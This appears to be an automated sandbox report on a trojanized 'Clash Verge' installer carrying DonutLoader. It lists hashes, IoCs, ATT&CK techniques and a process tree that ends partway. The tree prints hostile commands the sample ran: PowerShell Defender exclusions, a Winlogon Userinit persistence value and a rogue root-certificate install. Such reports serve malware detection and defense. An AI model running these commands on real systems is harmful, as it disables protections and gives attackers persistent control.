donutloader | 2e48a2bb5ab619cd2ba29d7f860192ccd1b1f75f71051b4fa80428da0cc3c32f

Analysis

max time kernel
600s
max time network
595s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
30/07/2026, 11:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Clash.Verge2.5.2x64.exe
Size 116.6MB
Sample260730-n4a1kagh87
SHA256 2e48a2bb5ab619cd2ba29d7f860192ccd1b1f75f71051b4fa80428da0cc3c32f
MD5 fff3413783df9aae3dea2bdbe7b52024
SHA1 2b5ba6af2bbeebb70615d9d0d6505d7ead24f524
SHA512 1a039a9a17886fcf5f8bc5f0db959199ba66caaa544363adc829d1b86476f21b83e57ae72f8325cec09dfac9f2ae57a0c11d793e758a0baf3af6f25a4734eaf6
SSDEEP 3145728:Ne3aT597bHuacf1tRr8Fxhe17XfLTi9v5mHv1uvNUXxd:NeKdJjuacf1tF8FxhmPQvIP1meT
TLSH
T153483363F3999439E09D19362EB684505077AE112C838D2ED3FC7A9CEF192702A3B757
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution donutloader installer loader persistence ransomware spyware stealer trojan

Malware Config

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 3 IoCs

loader

resource	yara_rule
behavioral2/memory/2676-329-0x000001EEF49C0000-0x000001EEF4A11000-memory.dmp	family_donutloader
behavioral2/memory/836-995-0x000001A8E3AF0000-0x000001A8E3B44000-memory.dmp	family_donutloader
behavioral2/memory/3096-1295-0x0000018B10280000-0x0000018B1098E000-memory.dmp	family_donutloader

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Drivers\\5eF2q\\rK4hJz8.exe.,"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe
1568	powershell.exe
4540	powershell.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4184	attrib.exe
2092	attrib.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
3892	Clash.Verge2.5.2x64.tmp
660	rK4hJz8.exe
836	nBktV.exe
1516	rK4hJz8.exe
3096	rK4hJz8.exe
4840	rK4hJz8.exe

Loads dropped DLL 45 IoCs

pid	Process
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
660	rK4hJz8.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
1516	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
3096	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe
4840	rK4hJz8.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4472	icacls.exe
4252	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3268	sc.exe
4260	sc.exe
1744	sc.exe
3368	sc.exe
4532	sc.exe
2820	sc.exe
4840	sc.exe
3412	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3588	cmd.exe
2596	cmd.exe
1436	cmd.exe
4584	cmd.exe
1088	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	rK4hJz8.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	rK4hJz8.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Clash.Verge2.5.2x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Clash.Verge2.5.2x64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/3392-0-0x0000000000790000-0x0000000000878000-memory.dmp	innosetup
behavioral2/memory/3392-130-0x0000000000790000-0x0000000000878000-memory.dmp	innosetup

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	rK4hJz8.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2940	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3892	Clash.Verge2.5.2x64.tmp
3892	Clash.Verge2.5.2x64.tmp
660	rK4hJz8.exe
660	rK4hJz8.exe
2676	vssvc.exe
2676	vssvc.exe
5020	powershell.exe
5020	powershell.exe
1568	powershell.exe
1568	powershell.exe
4540	powershell.exe
4540	powershell.exe
2676	vssvc.exe
2676	vssvc.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
2676	vssvc.exe
2676	vssvc.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe
836	nBktV.exe

Suspicious behavior: MapViewOfSection 8 IoCs

pid	Process
660	rK4hJz8.exe
660	rK4hJz8.exe
2676	vssvc.exe
2676	vssvc.exe
2676	vssvc.exe
2676	vssvc.exe
2676	vssvc.exe
2676	vssvc.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeBackupPrivilege	2676	vssvc.exe
Token: SeRestorePrivilege	2676	vssvc.exe
Token: SeAuditPrivilege	2676	vssvc.exe
Token: SeDebugPrivilege	660	rK4hJz8.exe
Token: SeDebugPrivilege	2676	vssvc.exe
Token: SeDebugPrivilege	2676	vssvc.exe
Token: SeDebugPrivilege	2676	vssvc.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeTcbPrivilege	1516	rK4hJz8.exe
Token: SeShutdownPrivilege	3096	rK4hJz8.exe
Token: SeDebugPrivilege	3096	rK4hJz8.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3892	Clash.Verge2.5.2x64.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3096	rK4hJz8.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3392 wrote to memory of 3892	3392	Clash.Verge2.5.2x64.exe	81
PID 3892 wrote to memory of 660	3892	Clash.Verge2.5.2x64.tmp	82
PID 660 wrote to memory of 3268	660	rK4hJz8.exe	84
PID 2676 wrote to memory of 5020	2676	vssvc.exe	90
PID 2676 wrote to memory of 1568	2676	vssvc.exe	92
PID 2676 wrote to memory of 4540	2676	vssvc.exe	94
PID 2676 wrote to memory of 4260	2676	vssvc.exe	96
PID 2676 wrote to memory of 1744	2676	vssvc.exe	98
PID 2676 wrote to memory of 3368	2676	vssvc.exe	100
PID 2676 wrote to memory of 4532	2676	vssvc.exe	102
PID 2676 wrote to memory of 2820	2676	vssvc.exe	104
PID 4584 wrote to memory of 836	4584	cmd.exe	107
PID 836 wrote to memory of 2940	836	nBktV.exe	108
PID 836 wrote to memory of 4840	836	nBktV.exe	136
PID 1088 wrote to memory of 1516	1088	cmd.exe	113
PID 836 wrote to memory of 3588	836	nBktV.exe	114
PID 3588 wrote to memory of 4472	3588	cmd.exe	116
PID 836 wrote to memory of 2596	836	nBktV.exe	118
PID 2596 wrote to memory of 4252	2596	cmd.exe	138
PID 1516 wrote to memory of 3096	1516	rK4hJz8.exe	121
PID 836 wrote to memory of 4184	836	nBktV.exe	122
PID 836 wrote to memory of 2092	836	nBktV.exe	124
PID 836 wrote to memory of 4028	836	nBktV.exe	126
PID 3096 wrote to memory of 5024	3096	rK4hJz8.exe	128
PID 3096 wrote to memory of 3584	3096	rK4hJz8.exe	131
PID 2676 wrote to memory of 3412	2676	vssvc.exe	133
PID 1436 wrote to memory of 4840	1436	cmd.exe	136

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4184	attrib.exe
2092	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Clash.Verge2.5.2x64.exe
"C:\Users\Admin\AppData\Local\Temp\Clash.Verge2.5.2x64.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Users\Admin\AppData\Local\Temp\is-WPHAZW2IUZ.tmp\Clash.Verge2.5.2x64.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-WPHAZW2IUZ.tmp\Clash.Verge2.5.2x64.tmp" /SL5="$602D6,121060023,887296,C:\Users\Admin\AppData\Local\Temp\Clash.Verge2.5.2x64.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3892
- - C:\Drivers\5eF2q\rK4hJz8.exe
    "C:\Drivers\5eF2q\rK4hJz8.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:660
  - - C:\Windows\SYSTEM32\sc.exe
      sc start VSS
      4⤵
      Launches sc.exe
      PID:3268

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionProcess VSSVC.exe; Add-MpPreference -ExclusionProcess ctfmon.exe; Add-MpPreference -ExclusionPath 'C:\Drivers'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionProcess VSSVC.exe; Add-MpPreference -ExclusionProcess ctfmon.exe; Add-MpPreference -ExclusionPath 'C:\Drivers'; Add-MpPreference -ExclusionPath 'C:\Windows\System32'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
